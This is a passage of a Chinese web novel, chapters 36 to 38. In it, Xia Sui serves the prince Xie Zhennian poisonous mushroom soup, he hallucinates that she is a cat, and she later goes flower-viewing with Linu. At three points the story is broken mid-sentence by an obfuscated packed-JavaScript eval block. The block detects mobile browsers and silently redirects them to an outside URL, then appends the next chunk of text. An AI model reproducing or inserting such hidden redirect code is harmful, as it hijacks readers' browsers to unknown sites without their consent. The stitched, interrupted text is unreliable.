;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853162|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了她去做这些事,从来没想过缘由。 只是听说这些事情的时候,他心里本能地觉得难受,比发生在自己身上还觉得难受,所以也是出自本能地,想做点什么。 “你就当是吧。” 夏穗嘀咕道:“又不说清楚。什么叫我就当是啊。” 她在小话本里面读到过,这种能与对方深刻共情,深刻体会对方的痛苦,并且会为了对方冒险的行为,大概就是所谓的喜欢了。 他喜欢上我了?! 反应过来后,夏穗贼眉鼠眼地偷看了他好几眼,嘴角抑制不住地往上扬,继续套话道:“王爷,这件事情,你其实还是有些冲动了。你不觉得和你平常的行事风格不一样吗?” “有吗?” “有啊,你就没有想过,你为什么会这样吗?” “我只是想,你受了很多苦,我至少要替你讨回公道。” “就只是这样?没有别的什么情感了吗?” 谢枕年对她的追问有些不理解,对她抛出的问题也不太理解。 “这样的情感还不够吗?你还想要什么情感?” “就只是想替我讨回公道、匡扶正义吗?除了这样侠肝义胆的情感,还有没有别的情愫呢?” 谢枕年沉默良久,回答道:“我今日方知,我在你眼中,原来是一个那么有正义感的人。不过恐怕让你失望了。” 夏穗蹙眉,正要好好品一品这句话,门外忽然响起了敲门声。 小桃推门而入,说道:“小姐,你爱的菜,后厨已经做好了。” 谢枕年看了看天色:“不是刚用过早饭吗?什么菜?是刚才没来得及上吗?” 夏穗咽了口唾沫,赶紧招招手吩咐道:“那让他们端进来吧!” 她接着对谢枕年解释道:“也不是什么山珍海味,就是一道蘑菇。昨天我在白府的宴席上吃到,觉得很好吃,便吩咐他们做了一道。” 提到这个,夏穗的眼睛像小猫似的,连瞳孔都放大了。 不得不说,那个蘑菇真的非常好吃。馥郁复杂的菌菇香气,醇厚温润的口感,鲜甜丝滑的汤汁,她吃完那道菜,就一直念念不忘。 但是为了和其他名门闺秀一样装温婉淑女,她也不好意思公然再要一份。 回府看到后院里也长了蘑菇,她二话不说就和小桃全部采了,让后厨煮好。 蘑菇汤端上来了,汤体柔滑,呈现出金琥珀色,夏穗轻轻舀起汤汁,浓郁却不滞重,让她口水直流。 想起昨天谢枕年在宴席上什么也没吃,她赶紧先给他盛了一碗。 “你尝尝,真的很好吃。” 谢枕年就着她舀汤的手喝了一口,夏穗期盼地问道:“怎么样?是不是很好吃?” 谢枕年如实回答:“一般。” “怎么会一般呢?” 夏穗又舀了一勺,递到他嘴边:“第一口不太能尝出味道,你多尝尝。” 谢枕年又连着喝了好几口,一碗汤都快喝见底了,他也没品出来到底好喝在哪,他只觉得这汤的味道有点奇怪。 他看着夏穗亮晶晶的充满期待的眼神,虽然他也很想说一句好喝,但这汤的味道,他实在是不敢恭维。 “怎么样?” 谢枕年斟酌着词句:“嗯,确实不一般。” “我就说吧,它很好喝的。” 夏穗拿起勺子,也给自己盛了一碗,她正要喝时,门外又响起了敲门声。 小桃慢慢地推开门,站在门口,也不进来,小声说道:“小姐,你、你出来一下。” “有事进来说。” 她看着谢枕年面前喝光的碗:“这……这事,不好进来说。” 37. 第 37 章 夏穗与小桃相视一眼,她还以为是外头在卖什么新的小画本,不好让谢枕年知道。 于是她清了清嗓子,对他笑眯眯说道:“那什么,这丫头从小就害羞,有什么事只对我说的,她大约是碰到什么难处了。我出去看看,你先喝,我马上就回来。” 谢枕年对她的这份说辞毫不起疑心,只略微点了点头。 夏穗前一只脚刚踏出门槛,立刻便被小桃拉出来好远。 “小姐!我们采的蘑菇,你确定就是在白府上见到的蘑菇吗?” 夏穗想了想:“应该……差不多吧。” 小桃一脸生无可恋:“那恐怕完了。” “怎么了?” “后厨的李大妈,忽然就神志不清了。” 夏穗看她那副欲言又止的样子,扯了扯嘴角:“你这么看着我干嘛?你不会是想说,是我的蘑菇汤有问题吧?” “她今天什么也没吃,就煮蘑菇汤的时候喝了两口,尝了尝味道。” 夏穗的笑容僵在脸上:“那她也有可能吃了别的东西。我采的蘑菇跟我在白府宴席上看到的很像啊……” 她轻叹了口气,接着问道:“怎么个神志不清法?也许是她年纪大了导致的,也说不定。请大夫了吗?” “请了,大夫还没到呢。我看她那样,也不像年纪大了。后厨的老人们都说是吃了毒蘑菇才这样。” 小桃话音未落,忽然从走廊上跑出来一个比较富态的中年女子,一边跑一边笑着。 她的动作和神态完全不像一个中年女子,反而像一个娇俏的小女孩一般,一边小跑还一边哼着歌: “我是一只小蝴蝶,飞呀,飞呀~” 她跑到夏穗面前,有些笨拙地转了一个圈,像是喝醉了一般,双手张开摆动,像是要展翅高飞。 “我是小蝴蝶呀,小蝴蝶呀……” 这是小蝴蝶?这不是扑棱蛾子吗? 夏穗揉了揉太阳穴,李大妈一直围着她身边转:“我是小蝴蝶呀!飞呀,飞呀,飞入花丛中呀。” 夏穗后退两步,敷衍地点点头:“嗯嗯,你是你是。” 听到了她的承认,李大妈这才死心,朝着院子里的花丛飞过去。 看着她圆滚滚的背影,夏穗后知后觉地想起一个人来。 这下遭了! 她拔腿就跑,对身后小桃的叮嘱道:“大夫来了,让他先到王爷这边来!” 夏穗一路冲回房间,推门而入,只见谢枕年还是保持着她走时的那个姿势,见她进来,朝着她眨了眨眼睛。 看起来还挺正常的。 她略微松了一口气,走到他旁边坐下,问道:“王爷,你……有没有觉得哪里不舒服?” 谢枕年不说话,只是直勾勾地盯着她。 夏穗被他看得心里发毛,看他有些严肃的样子,更着急了: “怎么了?是头晕吗?还是肚子不舒服?别担心,大夫马上就来了。现在要不要去床上躺一下?或者……“ “小猫咪。” 嗯??? “什么?” 谢枕年把这几个字抛得太突兀,夏穗四下看了看,没有看到猫的影子。 她问道:“小猫在哪里儿?” 谢枕年忽然咧嘴笑起来,声音异常温柔,伸出手捏了捏她的脸,“在这里。” 夏穗还没反应过来,他直接伸出另一只手,两只手分别捏着她左右的脸颊,像是捏小泥球一般揉捏着她的脸。 “小猫咪,怎么跑到这儿来了?” 夏穗怔愣了一下,伸出一根手指指向自己:“小猫咪?我吗?” 谢枕年盯着她的嘴唇,像发现新大陆似的,兴奋地站起来:“怎么还会说话?!” 夏穗撇撇嘴:“我本来就会说话。” “你好聪明,居然会说话。” “我说了我本来就……”夏穗晃了晃脑袋,制止自己继续跟他讨论这种问题。 “这不是重点,王爷要不你先上床躺着吧?” “好啦别怕,”谢枕年像是完全没听见她说话一样,眼睛亮得惊人,朝着夏穗伸出手,“小猫,过来,让我抱抱。” 夏穗后退一步,抬手挡在他胸前:“王爷!你清醒一点!” 谢枕年顺势拉过她的手,往自己怀中一带,夏穗整个人踉跄一步,便摔在了谢枕年的怀中。 他果然像给小猫顺毛一样,一下一下地摸着她的头发。 他一边摸着,一边嘴上嘀嘀咕咕着:“你出去了这么久,也不见你回来,我还以为你在外面找了别的猫呢。” 嗯? 夏穗有些疑惑地抬头看着他,他到底是神志不清还是清醒着呢? 这话怎么听都像在点她。 “就算你找了别的猫,也应该早点回家来,怎么能让主人一直见不到你。” 夏穗简直怀疑自己听错了,她重复了一遍他的措辞:“主人?” 谢枕年飞快地应了她:“嗯,真乖。” 好了,这些她可以确定,他是真的神志不清了。 毕竟他虽然把她当猫看,但还是把自己当人看的。 夏穗有些抗拒地在他怀中挣扎了一下,一把推开了他。 谢枕年蹙眉:“怎么了?你要出去觅食吗?” “不是。” 他的眉头下压得更加厉害:“那你是要出去找别的野猫?” “我……” 夏穗有些无言以对。 她与谢枕年保持着三米远的距离:“我不出去觅食,也不出去找别的野猫,你先坐下,我出去给你拿点催吐的东西来。” 谢枕年对她叽里咕噜说了什么充耳不闻,他张开双臂,满脸痴迷地朝她扑过来。 夏穗眼疾手快地一闪,猛地躲开。 谢枕年扑了个空,转身又追,嘴里还念叨着:“别跑!叫一声听听。” “不要!” 但谢枕年也相当地固执,继续追着她:“快叫一声。” 夏穗绕着桌子跑了好几圈,觉得自己都快晕了,勉强妥协道:“好,我叫一声,你别再追我了。” 谢枕年乖乖站在原地,有些期待地望着他。 夏穗心里想着小猫的叫声,但怎么也叫不出口。 她还是三岁小孩子吗?这到底怎么能叫的出口? 眼看着谢枕年又要扑过来,没办法,她只得极其小声地喵了一句。 “喵。” “听不见。” 他娘的! 夏穗咬了咬牙,她干嘛要在这里陪他玩这种羞耻的游戏? “怎么了?你回家就不愿意叫了?” 这是她不愿意吗?! 她根本就不会。 谢枕年垂眸,情绪听起来有些低落:“哼,果然,你就是在外面有别的猫了吧?” “你……” 夏穗扶了扶额,算了,他变成这个样子,也是拜她所赐。 于是她彻底放开了,双手都伸出三根手指,贴在自己的脸边,努力装扮出小花猫的样子,夹着嗓子: “喵呜~喵呜~满意吗?主人。” 这回谢枕年听没听见她是不知道,但是站在门口的老夫人肯定听到了。 谢枕年正咧开嘴朝她笑,夏穗在他笑得弯弯的眸子中看到了门口站着的人。 她愣在原地,不知该怎么解释。 然而,然而谢枕年还在不知羞耻地喊她:“小猫咪。” 还在小猫咪! 她已经尴尬得像一条小鱼干了。 夏穗机械地转过身,僵硬地打了声招呼:“母、母亲。” 门口站着两个人,老夫人还带了她的一个相识多半的好友来。 好友捂着嘴,笑眯眯地说道:“哎呦,年轻真好,玩儿得就是开放。看来我们来的不是时候。” 说完,她又对着老夫人挤眉弄眼道:“都说你儿子一心忙于政务,不近女色,我就知道那些传言都是假的,哪有男人不好女色的。闺房里的这些事情,旁人不知,只有他们小两口最清楚喽!” 老夫人站在门口,十分拘谨,僵硬地陪着笑,双手有些无措地绞着手帕:“那什么……我也没什么重要的事,你们先忙……” 她们走时,还不忘贴心地给他们俩带上房门。 夏穗觉得整个人从里到外都要烧透了,喵喵几句,之前温婉贤淑的形象全部白干。 这让她明儿一早怎么还有颜面去老夫人那里请安? 她正想着对策,猝不及防地,谢枕年又要冲过来抱她。 夏穗绕着桌子跑,又惊又觉得荒谬:“不是说好了,我叫一声,你就不再追我了吗?” “你爪子上的伤好了吗?给我看看。” 夏穗伸出双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876817|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他面前晃了晃:“好了好了,你看。” “脚上。” 夏穗简直受不了他,她要是脱了鞋子给他看,他估计又要被按在怀里动弹不得了。 “我都听你的话了,你也听我的话,先好好坐着好吗?我去去就回。” 夏穗调转方向,跑到房门口,当务之急,先给他催吐再说。 她一打开门,迎面就撞上了另一堵宽阔结实的胸膛。 彦修扶住了她:“娘娘?怎么了?这么着急。” 夏穗反抓着他的袖子问道:“大夫呢?还没来吗?” “请了大夫吗?谁生病了?我刚从外面回来,没看到有大夫过来。” 就耽搁这么一会儿的功夫,谢枕年便从后面围上来,紧紧抱住了她。 他把头埋在她的耳边,小声说道:“咪咪,让我看看爪子。” 夏穗重重地叹了口气,大夫是没来,但是她快要走了。 她使劲掰开谢枕年抱着她的手,转过身,装作有些生气的样子,说道:“听着,小猫现在不想跟你待在一起了,我现在就要出门。” 不管怎么说,他喝了有毒的汤,她得赶紧去找点东西来给他催吐才行。 她此言一出,谢枕年有些震惊地站在原地望着她,眼中竟然含了些委屈。 “我……” 夏穗看着他含着委屈的眼睛,顿时又有些心疼。 算了,还是留下来陪他吧。 她转身对彦修说道:“我走不开,你去找些能催吐的东西来,要快。” 彦修虽然不明白她要干什么,但既然她吩咐了,他便只管听命行事。 他刚一转身,就被人狠狠攥住了手腕。 彦修回过头来,只见谢枕年正黑着脸盯着他。 他看了看夏穗,又看了看谢枕年,一头雾水。 谢枕年微微眯起眼眸,打量了他半天,伸出手指着他对夏穗说道:“这就是你在外面找的野猫?” 他又瞥了彦修一样,冷笑一声:“毛色都不纯,也不怎么样嘛。” 夏穗还没来得及说话,他又对着彦修说道:“喂,你是在外面流浪的吧?少来勾搭我的小猫。” 彦修的眼珠在两人身上转了转,最后又落回到谢枕年身上:“我……现在是应该要在外面流浪比较好吗?” 夏穗强行分开谢枕年抓着他的手:“没事儿,你别管他,快去找催吐的东西来。” 夏穗一把将他推出门外,赶紧关上了房门。 她转过身,把谢枕年拉到房中间坐下:“王爷,等你清醒过来,恐怕会在你属下面前抬不起头。” 谢枕年歪头问她:“你不用出去觅食了吗?” “嗯嗯嗯,不去了,我陪着你。” 夏穗就那么任由他抱着,让他有一下没一下地摸着自己的头。 过了许久,也不见彦修回来。 她实在等不下去了,谢枕年的症状已经愈发严重了,他开始把自己的手指当成小鱼干喂给她吃了! 谢枕年把食指塞到她嘴前:“你不饿吗?怎么不吃?” “谁要啃你的手。” 夏穗刚把他的手拍开,他又伸到了她嘴前。 她看着谢枕年伸到自己面前的手,忽然灵光乍现,谁说催吐一定要用药物了。 她有最原始的办法。 她忍着羞耻心叫了他一声:“主人。” “啊?” 趁他微微张嘴的间隙,夏穗直接把手伸进他的嘴里,手指努力往里伸,抠他的嗓子眼儿。 “对不住了,主人。” 她刚把手拿出来,谢枕年就捂着喉咙吐了出来。 “呕……” 他昏天黑地吐了一番,整个人也虚弱无比地倒在她的肩膀上。 夏穗赶紧扶他在床上小憩了一会儿。 休整了半天,他终于微微睁开了眼睛。 夏穗站在床边,看正他还有些迷离的眼睛,试探地叫了一声:“王爷?” 谢枕年像是没有听到一般,既没有看她,也没有答应。 她轻叹口气,改口道:“主人?” 谢枕年看向她,直接伸手把人拉过来,夏穗身形不稳,整个人都栽在他的怀里,压在他身上。 她正要挣扎,头顶传来一道矜贵冷傲的声音: “看来你对主人相当放肆啊,嗯?” 38. 第 38 章 夏穗顿时怔住,她勉强提了提嘴角,笑着转过身,扬手在他眼前晃了晃。 “王爷你……清醒啦?” 谢枕年一把便抓住了她的“爪子”,微微眯起眼眸看着她的手:“你说呢?” 她手都没洗! 就用这只给狸奴喂过药的手抠他的嗓子眼儿! 谢枕年抓着她的手腕,大力往自己怀中一带,就把她拉倒在床上,顺势欺身而下,把她围困在方寸之间。 两人的距离实在是太近了,连彼此的呼吸都可以清晰感知到。 夏穗伸手推了推他,他看着谢枕年的眼睛,从中解读出了些许危险的意味。 谢枕年用一只手遏制住她的手腕,另一只手已经搭到了她的腰侧,夏穗立刻抬手制止他。 但她企图要制止他的那只手也马上被他握住,他温暖宽厚的手掌把她的手全部包裹起来,并轻轻摩挲着她的指骨处,传来阵阵痒意。 她又闻到了他身上好闻的雪松香气。 夏穗很沉迷于他身上的味道。 刚闻到时,像是一种拒人与千里之外的寒霜,但凑得近了,就能感觉到一股慢慢蒸腾出的淡淡暖意。 像是被阳光晒透的松脂,已经被晒得融化了,缓慢渗出一种干燥而坚实的木质甜意。 被体温烘烤后,这种味道更是变得沁人心脾。 如谢枕年这个人一般,看上去是高岭孤松般的疏离,一旦贴近了,却能感觉到他身上仿佛藏着整座森林在冬日里积蓄的热量。 很热。 无论是心脏还是身体,都跟着燥热起来。 两人又贴得极近,谢枕年还在把他身上的热量源源不断的传递给她。 夏穗察觉到周围的气温迅速上升,她的脸也很快染上一层红晕。 她赶紧避开了他如狼似虎的眼神,连说话都有些磕磕绊绊:“现、现在是白天。” 谢枕年挑起一边的眉毛,勾了勾唇角,好整以暇地打量着她:“哦,白天怎么了?” “不合适吧?” 她小声说道。 “什么不合适?” 谢枕年又凑近了,嘴唇贴在她的耳边吹着气:“再不合适的事情你也做了。怎么到我这里就不合适了?” 夏穗抬眼看他,问道:“我做什么不合适的事了?” “你把别的男人带回府,还亲力亲为地给他喂药,这合适吗?” 夏穗忍住要翻他白眼的冲动,看来他还在惦记着狸奴的事呢。 这人看着高大威猛,但是心眼小得跟西瓜籽一样。 夏穗反驳道:“救人一命,胜造七级浮屠。更何况,狸奴是我的朋友,又在宴会上替我解围,我当然要救他。” 谢枕年不说话,但握住她手腕的手略微收紧了些。 夏穗立马妥协道:“他病一好,我就让他走,好吗?” 她都说到这份上了,谢枕年便也松开手,轻叹口气,低声道:“你真应该庆幸我拿你没办法。” 见他松开手,夏穗立刻翻身坐起来,站起身就往门外走去。 她的步子还没来得及迈开,又被谢枕年拽着衣角拉了回去。 “跑什么?” 夏穗眨眨眼睛:“不是说完了吗?我还留在这干嘛?” 谢枕年觉得头有些晕,也不知道是毒蘑菇汤的后遗症,还是被她气的。 他光是好好坐着就已经有些费力了。 他在等她反应过来,扶他一把。 但这个不怎么动脑子的女人明显是会错他的意了。 夏穗在他面前杵了半天,看了看他紧抓着自己的手,又看了看他紧蹙的眉头,最后十分惊讶地用手捂着嘴说道: “你、你真打算在大白天的……” 得,又绕回到这件事上了。 谢枕年揉了揉太阳穴,叹了口气:“如果我真打算在白天,方才便不会松开你。” 他勉强支撑着床沿站起来:“扶我去书房。” 见他脚步虚浮,夏穗立马站在他身边扶住他:“你都这样了,还要去书房?你就不能躺下来好好休息一下吗?” “我有事要处理。” 夏穗强行把他按回床上坐下,挡在他身前,气势汹汹说道:“有什么事能比你的身体还重要?你放心吧,十万火急的事情,自然有人会处理,不着急的事情,你放两天也不急。” 夏穗说完,只见谢枕年仍然蹙眉端坐着,没有要放弃的意思。 她怕他待会儿自己又跑去书房,于是直接上手扒他的衣服。 谢枕年被她这突如其来的举动吓了一跳:“做什么?” “脱衣服,躺下休息。” 谢枕年也很固执:“我已经好了,不用休息。” 夏穗不听他狡辩,直接解开他的衣带,扒开领口,拽下衣袖,一气呵成。 谢枕年:怎么回事,她脱别人衣服的速度未免也太快了! 很难说是不是私下练过。 在谢枕年惊诧的目光中,夏穗又把人推倒在床上,盖上被子,轻轻在他胸脯上拍了拍: “行了,好好休息。” 谢枕年拽住她的裙角,问道:“你去哪?” “我去看看大夫来了没有。” 谢枕年像是没听到她说话似的:“不许你去他那里。” 夏穗反应了一会儿,这个“他”是谁,最终有些无奈地回答道:“好好好。” 她不回还好,一回答,谢枕年直接拽住不让她走了。 他算是听明白了,三重肯定表否定啊。 “夏穗,你在敷衍我。” ?! 夏穗:我又敷衍他了? “那我陪你睡,总可以了吧。” 此言一出,谢枕年立马点头,朝她掀开被子。 夏穗钻进来,被窝里瞬间暖和了起来。 他刚才并没觉得这么困,但此时躺在温暖柔软的床上,怀里搂着一个娇娇软软的小炭火,困意忽然如排山倒海般袭来。 但这一觉睡得并不安稳。 他永远不知道在夏穗的梦境里会出现什么破事。 毫不意外地,有狸奴! 在她的梦境中,院子里各色的花都缀满枝头,阳光明亮。 狸奴站在开得正盛的花旁,一袭颜色鲜亮的衣裳,脸上毫无病气之色,正对着她微笑。 他手里拈着一支刚折下的花,朝她递过去。 “今日天气真好。” 狸奴的声音在男性中是很有辨识度的,哪怕是在她的梦中,也显得格外清朗。 “不如我们一同出去走走,赏赏花?” 夏穗一点都不带犹豫,她接过那枝花,奋力点点头:“好呀好呀!” 声音轻快得像只即将出笼的小鸟。 好呀好呀? 谢枕年不吐不快:“跟他出去就好呀好呀?跟我出门也没见你这么高兴。” 但他的意识并不能干扰夏穗的梦境。 直至此刻,他甚至还没出现在她的这个梦里。 他只能像个透明人一般,站在旁边观看着事情发展。 无论他说什么做什么,夏穗的梦境也还是顺其自然地进行下去。 谢枕年觉得胸口像堵了团什么东西,闷得慌。 再看梦里,狸奴在笑,夏穗也还在笑。 她还凑近闻了闻那朵花,然后捂着嘴在狸奴耳边说了什么,接着,两个人都笑了起来,肩膀一抖一抖的。 两人闹够了,正要出门时,还是狸奴拉着她的手停了下来,他有些犹豫道:“就我们俩出门,要不要先告诉王爷一声?” 夏穗四下看了看,反问道:“你确定?如果告诉他,我们可能就出不了门了。” “可是我们这样私下出门,被王爷知道了,他该不会生气吧?” 好耳熟的台词。 谢枕年总觉得在哪儿听过。 狸奴拉着她的手,接着说道:“我们虽然只是朋友,但你也知道的,王爷那个人,并没有多么宽敞的心胸。” 谢枕年的目光停留在狸奴紧拉着她的手上,他冲过去想把两人分开,可惜他在夏穗的梦中只是一个透明人,根本碰不到两人。 什么朋友说个话还得手拉着手! 他气得在床上翻了个身。 然后醒了。 醒来后他更生气了! 因为醒来后,他便看不到夏穗的梦境了,也不知道事情后来如何发展。 不过看着夏穗睡梦中微微上扬的嘴角,不用想也知道,这两人肯定背着他去赏花去了! 他咬了咬牙,想把夏穗从睡梦中晃醒过来,但看到她舒展的眉眼,又于心不忍。 他在床上靠坐了会儿,让自己冷静了些,轻手轻脚地起身,去了书房。 等夏穗睁开眼时,身旁已经没人了。 “又是这样。” 她揉揉眼睛坐起来,小声嘀咕道。 只要和他睡在一张床上,无论发生什么情况,她永远都是起得晚的那个。 她也想有朝一日早点醒来,好好欣赏一下他的睡颜。 但别说睡颜了,接下来的几天里,她甚至都没见到过他人,她只能看到彦修抱着一堆堆的文书往他的书房里送。 夏穗也十分自觉地不去打扰他。 但她也不敢去找狸奴。 她相信,即便谢枕年忙于政务,但也会在百忙之中抽出一丝空闲来监管她的动向。 不允许她去找狸奴,可他没说不让狸奴来找她。 夏穗也相信,只要狸奴的病稍有好转,必定会来找她。 她刚放下小话本,看得自己激动得在床上打了个滚,门外便响起了敲门声。 她立刻警觉地把小话本塞到枕头下,坐直了身子,清了清嗓子,问道:“谁?” 来人没有回应她,而是直接推门而入。 狸奴红着眼眶走进来,开口便是阴阳怪气中混着一些委屈至极的语气:“哟,原来你还活着啊。” 夏穗起身迎他:“这是什么话,我当然活着。” “这么多天也不见你个人影,我还以为你死了呢,害我日日为你焦心。” 夏穗笑嘻嘻地拉他坐下:“这几日忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893379|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得厉害,我正要去看你呢,你却来了。” “王妃这么忙,我再不来,你恐怕都要不记得还有我这么个人了吧?” “怎么会!我忘了谁也不能忘了你啊,你为了我都敢跟那些权贵对着干,你可是我的恩人。” 夏穗给他倒了杯茶,但并用手不递给他,只是放在桌子上,推到他跟前。 她的这点小动作,被狸奴尽收眼底。 他垂下眼眸,声音变得有些哽咽:“我们果然是生疏了。你口口声声说什么恩人,却不愿与我接触。” 夏穗解释道:“没有,你多想了。我只是怕在府内跟你接触过太多了,会引起一些不必要的误会。” “那去府外吧!” “啊?” 她没想到狸奴的提议来得这么快。 “既然你在府内总是束手束脚,那我们就去府外吧!不如……我们一起去赏花吧?” 去赏花? 这不是她梦里方才出现过的场景吗? 她最近的梦境,总是这样围绕着狸奴和谢枕年两个人,大多都是一些鸡毛蒜皮的小事,但这两个男人总会在她的梦里吵起来。 让她睡个觉也睡不好。 她有些心力交瘁,摆摆手拒绝道:“不去了,我已经和你去过了。” “什么时候?” “刚刚,在梦里。” 狸奴被气得站起身来:“你不想去就不想去,就会找这种借口来哄骗我。” “是真的,不骗你,你最近一直出现在我的梦里呢。” “当真?” “真的,就在刚刚的梦里,我跟你一起去赏花,就我们俩,玩儿得可开心了。” 她还有后半段没说,在梦中,他俩赏完花回来,被谢枕年发现,事情变得一发不可收拾。 也正因如此,她不想跟他一起出去。 听到她这么说,狸奴的脸色好了些,他再次争取道: “真的不去吗?我听说紫阳观的花开了,第一时间便跑过来找你。在这个季节,很难看到这么多花了。” “紫阳观?” 夏穗忽然想起来,谢枕年重伤昏迷的时候,她曾去紫阳观祈福,当时在神前许诺过,若他能平安苏醒,她一定会来还愿。 现如今谢枕年平安醒来,她还没有去还愿呢。 这事已经拖得太久了,夏穗怕日后又忘记,择日不如撞日,那便去吧。 不过他俩出门之前,得和谢枕年说一声。 已经到吃午饭的点了,但夏穗一路走到书房,都没有仆人路过。 估计是得了谢枕年的令,不用来送午饭。 她站在门口,敲了敲门。 没有人应。 她又敲了一会儿,里面才投掷过来一个非常短暂的字: “进。” 她一进门,根本看不到谢枕年的人影。他整个人都被埋在公文堆里,哪怕听到有人推门进来,也没抬一下头。 直到夏穗在他面前站了好一会儿,他才抬头瞄了她一眼:“有事?” “我要去紫阳观。” 谢枕年的眼睛没有离开公文:“最近城中不太平,多带几个人跟着。” “我们一起去吧。” “我走不开。” “……” 他这模样,夏穗实在不好开口再跟他说什么。 他看起来比她想象的还要忙得多。 夏穗杵在他面前不走,于是他又抬头问道:“你还有事?” 她想了想,看他这这子,估计现在也没空管她,多一事不如少一事,她要和狸奴一起出门的事,干脆便不说了。 “没事,就是我要出门,来和你打声招呼。” 谢枕年点点头:“嗯,早点回来。” 说完,便又埋头在公文堆里。 窗棂上浓烈的赤金渐渐褪去,只余下几缕残红,斜斜地探进来,在紫檀木案几上拉出长长的、孤寂的影子。 他指间的文书也在不知不觉中被镀上了一层暖橙色。 他好不容易批完一堆文书,稍作小憩,后知后觉地想起来,夏穗是那种出门前会报备的人吗? 她向来都是说走就走。 这还真是头一次。 脑中忽然闪过一道白光,谢枕年立刻放下文书,去了狸奴的房间。 看到空空如也的房间时,他的心也同样变得空空如也。 “他人呢?” 他站在房门口,随便揪了一个小丫鬟,眼神中尽是掩饰不住的愠色。 小丫鬟朝他行礼:“回王爷,公子去紫阳观赏花了。” 谢枕年站着不动,但声音却冷到极点:“你方才说,他去哪儿了?” 小丫鬟从来没见过这阵仗,她跪在他脚边,哆哆嗦嗦道:“奴婢也没听得太清楚,好、好像是紫阳观……” 有脚步声渐近,她抬起头,眼眸一亮,“啊,是公子回来了,还有王妃!王爷,您不如亲自问他吧?” 谢枕年愣了一下,略微转身,在看清楚并肩行走的夏穗和狸奴之前,他先看到了夏穗手中的花。